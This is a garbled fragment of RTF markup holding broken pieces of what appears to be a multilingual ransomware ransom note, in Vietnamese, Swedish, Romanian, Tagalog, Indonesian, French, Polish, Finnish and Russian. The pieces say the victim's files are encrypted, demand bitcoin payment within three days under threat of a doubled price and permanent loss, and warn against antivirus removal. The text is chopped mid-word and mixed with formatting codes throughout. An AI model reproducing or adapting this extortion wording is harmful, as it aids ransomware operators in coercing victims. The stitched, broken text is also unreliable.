\\loch\\af11\\hich\\af11\\dbch\\f11 28858\\'88\\'d7\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 30070\\'e1\\'63\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 30332\\'e1\\'a2\ \\af11\\afs22 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 30475\\'8a\\'c5\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 30475\\'8a\\'c5\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af12\\dbch\\af12\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af12\\dbch\\f12 20839\\'d2\\'ae}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af18\\dbch\\af18\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af18\\dbch\\f18 22816\\'b0\\'f7}{\\rtlch\\fcs1 \\af18\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af18\\dbch\\af18\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af18\\dbch\\f18 26597\\'ac\\'64}{\\rtlch\\fcs1 \\af18\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af18\\dbch\\af18\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af18\\dbch\\f18 32085\\'b5\\'b4}{\\rtlch\\fcs1 \\af18\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 25353 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 11}{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 3}{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 22825\\'a4\\'d1\ \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 12290\\'a1\\'43}{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 >. Waktu terbaik untuk \\hich\\af31502\\dbch\\af53\\loch\\f31502 memeriksa: 09:00 - 11:00 GMT dari Senin sampai Jumat. \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 >. Pinakamahusay na oras upang suriin ang: \\hich\\af31502\\dbch\\af53\\loch\\f31502 09:00-11:00 GMT mula Lunes hanggang Biyernes. \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15301782 \\hich\\af31502\\dbch\\af53\\loch\\f31502 How to buy}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 bitcoin} \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 How to buy}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\fs22\\loch\\af31506\\hich\\af31506\\dbch\\af31505 }{\\*\\defpap \\ql \\li0\\ri0\\sa200\\sl276\\slmult1\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0 }\\noqfpromote {\\stylesheet{\\ql \\li0\\ri0\\sa200\\sl276\\slmult1 \\hich\\af18\\dbch\\af18\\loch\\f18 9}{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\af53\\afs22 \\ltrch\\fcs0 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 12290\\'a1\\'43}{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoin>. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 kh\\'f4\\loch\\f31502 ng th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a inom 6 m\\'e5\\loch\\f31502 nader. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a t\\'f4\\loch\\f31502 i? \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 c m\\'e3\\loch\\f31502 \\hich\\f31502 h\\'f3\\loch\\f31502 \\hich\\f31502 a. C\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ierele \\'ee\\loch\\f31502 n siguran}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 m\\'e4\\loch\\f31502 \\hich\\f31502 n j\\'e4\\loch\\f31502 lkeen hinta kaksinkertaistuu. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n kh\\'f4\\loch\\f31502 \\hich\\f31502 ng n\\'ea\\loch\\f31502 n g}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ng c\\'e1\\loch\\f31502 ch nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ng ph\\'ed\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ng vi r\\'fa\\loch\\f31502 t trong m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ngliga eftersom de har krypterats. Kanske \\'e4\\loch\\f31502 \\hich\\f31502 r du upptagen med att leta efter ett s\\'e4\\loch\\f31502 \\hich\\f31502 tt att \\'e5\\loch\\f31502 \\hich\\f31502 terst\\'e4\\loch\\f31502 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 u t\\'e0\\loch\\f31502 i li}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoins>. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c h}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoins>. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i acest software }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i decripta unele dintre fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i pre}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i tr}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n, b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n. \\hich\\af31502\\dbch\\af31505\\loch\\f31502 nt}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 >. Cel mai bun timp pentru a verifica: 9:00 am - 11:00 am GMT de luni p\\'e2 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t tin nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ul curent al Bitcoin }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\hich\\af31502\\dbch\\af53\\loch\\f31502 iyong oras. Walang sinuman ang maaaring mabawi ang iyong mga file nang hindi aming decryption serbisyo. \\hich\\af31502\\dbch\\af53\\loch\\f31502 meskipun Anda membayar! \\hich\\af31502\\dbch\\af53\\loch\\f31502 >. \\hich\\af31502\\dbch\\af53\\loch\\f31502 Ano ang nangyari sa My Computer? \\hich\\af31502\\dbch\\af53\\loch\\f31502 Apa yang Terjadi dengan Komputer Saya? \\hich\\af31502\\dbch\\af53\\loch\\f31502 i\\hich\\af31502\\dbch\\af53\\loch\\f31502 psi kami. \\hich\\af31502\\dbch\\af53\\loch\\f31502 kakuha ng update at nag-aalis ng software na ito nang awtomatiko, hindi ito magiging magagawang mabawi ang iyong mga file kahit na kung magbabayad ka! \\hich\\af31502\\dbch\\af53\\loch\\f31502 Ngunit mayroon kang hindi kaya sapat na oras. \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 trebuie s\\'e3\\loch\\f31528 \\hich\\f31528 pl\\'e3\\loch\\f31528 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i numai 3 zile pentru a trimite plata. Dup\\'e3\\loch\\f31528 aceasta pre}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i putea s\\'e3\\loch\\f31528 \\hich\\f31528 v\\'e3\\loch\\f31528 recupera}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 oin. Aby uzyska\\'e6\\loch\\f31528 \\hich\\f31528 wi\\'ea\\loch\\f31528 cej informacji, kliknij przycisk . \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 p \\'f0\\'f4\\loch\\f31528 i. \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 t \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\af31529\\dbch\\af31505\\loch\\f31529 \\hich\\f31529 >. \\'cb\\'f3\\'f7\\'f8\\'e5\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\'f0\\'e5\\'ec\\'ff\\loch\\f31529 \\hich\\f31529 \\'e4\\'eb\\'ff\\loch\\f31529 \\hich\\f31529 \\'ef\\'f0\\'ee\\'e2\\'e5\\'f0\\'ea\\'e8\\loch\\f31529 \\hich\\f31529 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 c\\'f3\\loch\\f31536 \\hich\\f31536 3 ng\\'e0\\loch\\f31536 \\hich\\f31536 y \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\hich\\f31502 kh\\'f4\\loch\\f31502 \\hich\\f31502 ng c\\'f3\\loch\\f31502 d}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\f31502 c c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\f31502 c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\f31502 ch an to\\'e0\\loch\\f31502 \\hich\\f31502 n v\\'e0\\loch\\f31502 d}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\f31502 jour et supprime automatiquement ce logiciel, il ne pourra pas r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 \\hich\\f31502 rer vos fichiers m\\'ea\\loch\\f31502 me si vous payez! \\hich\\f31502 lla dina filer, men sl\\'f6\\loch\\f31502 \\hich\\f31502 sa inte bort din tid. Ingen kan \\'e5\\loch\\f31502 \\hich\\f31502 terst\\'e4\\loch\\f31502 \\hich\\f31502 lla dina filer utan v\\'e5\\loch\\f31502 \\hich\\f31502 r dekrypteringstj\\'e4\\loch\\f31502 nst. \\hich\\f31502 m c\\'e1\\loch\\f31502 \\hich\\f31502 ch kh\\'f4\\loch\\f31502 i ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\f31502 n g\\'ec\\loch\\f31502 }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31528\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31528\\dbch\\af31505\\hich\\f31528 \\'d0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\f31502 rer tous vos fichiers en toute s\\'e9\\loch\\f31502 \\hich\\f31502 curit\\'e9\\loch\\f31502 et facilement. Mais vous n'avez pas assez de temps. \\hich\\f31502 terst\\'e4\\loch\\f31502 \\hich\\f31502 lla alla dina filer p\\'e5\\loch\\f31502 \\hich\\f31502 ett s\\'e4\\loch\\f31502 \\hich\\f31502 kert och enkelt s\\'e4\\loch\\f31502 \\hich\\f31502 tt. Men du har inte s\\'e5\\loch\\f31502 mycket tid. \\hich\\f31528 tak biedni, \\'bf\\loch\\f31528 \\hich\\f31528 e nie mogli zap\\'b3\\loch\\f31528 \\hich\\f31528 aci\\'e6\\loch\\f31528 \\hich\\f31528 za 6 miesi\\'ea\\loch\\f31528 cy. \\hich\\f31528 i antivirusul dvs. pentru o perioad\\'e3\\loch\\f31528 \\hich\\f31528 , p\\'e2\\loch\\f31528 \\hich\\f31528 n\\'e3\\loch\\f31528 \\hich\\f31528 c\\'e2\\loch\\f31528 \\hich\\f31528 nd pl\\'e3\\loch\\f31528 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\hich\\f31528 i un mesaj f\\'e3\\loch\\f31528 \\hich\\f31528 c\\'e2\\loch\\f31528 nd clic pe <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\hich\\f31528 li program antywirusowy zostanie zaktualizowany i automatycznie usunie to oprogramowanie, nie b\\'ea\\loch\\f31528 \\hich\\f31528 dzie mo\\'bf\\loch\\f31528 na odzys\\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 ka\\'e6\\loch\\f31528 \\hich\\f31528 \\hich\\f31528 n c\\'e3\\loch\\f31528 \\hich\\f31528 utarea unei modalit\\'e3}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\hich\\f31528 t de s\\'e3\\loch\\f31528 \\hich\\f31528 raci \\'ee\\loch\\f31528 \\hich\\f31528 nc\\'e2\\loch\\f31528 \\hich\\f31528 t nu au putut pl\\'e3\\loch\\f31528 \\hich\\f31528 ti \\'ee\\loch\\f31528 n 6 luni. \\hich\\f31529 \\'e0\\'e2\\'f2\\'ee\\'ec\\'e0\\'f2\\'e8\\'f7\\'e5\\'f1\\'ea\\'e8\\loch\\f31529 \\hich\\f31529 \\'f3\\'e4\\'e0\\'eb\\'e8\\'f2\\loch\\f31529 \\hich\\f31529 \\'fd\\'f2\\'ee\\loch\\f31529 \\hich\\f31529 \\'ef\\'f0\\'ee\\'e3\\'f0\\'e0\\'ec\\'ec\\'ed\\'ee\\'e5\\loch\\f31529 \\hich\\f31529 \\hich\\f31529 \\'e1\\'e8\\'f2\\'ea\\'ee\\'e9\\'ed\\'ee\\'e2\\loch\\f31529 \\hich\\f31529 \\'e8\\loch\\f31529 \\hich\\f31529 \\'ea\\'f3\\'ef\\'e8\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'e1\\'e8\\'f2\\'ea\\'ee\\'e9\\'ed\\'fb\\loch\\f31529 \\hich\\f31529 . \\'c4\\'eb\\'ff\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\'e8\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 , \\'e4\\'e0\\'e6\\'e5\\loch\\f31529 \\hich\\f31529 \\'e5\\'f1\\'eb\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ef\\'eb\\'e0\\'f2\\'e8 \\hich\\f31529 \\'e7\\'e0\\loch\\f31529 \\hich\\f31529 6 \\'ec\\'e5\\'f1\\'ff\\'f6\\'e5\\'e2. \\hich\\f31529 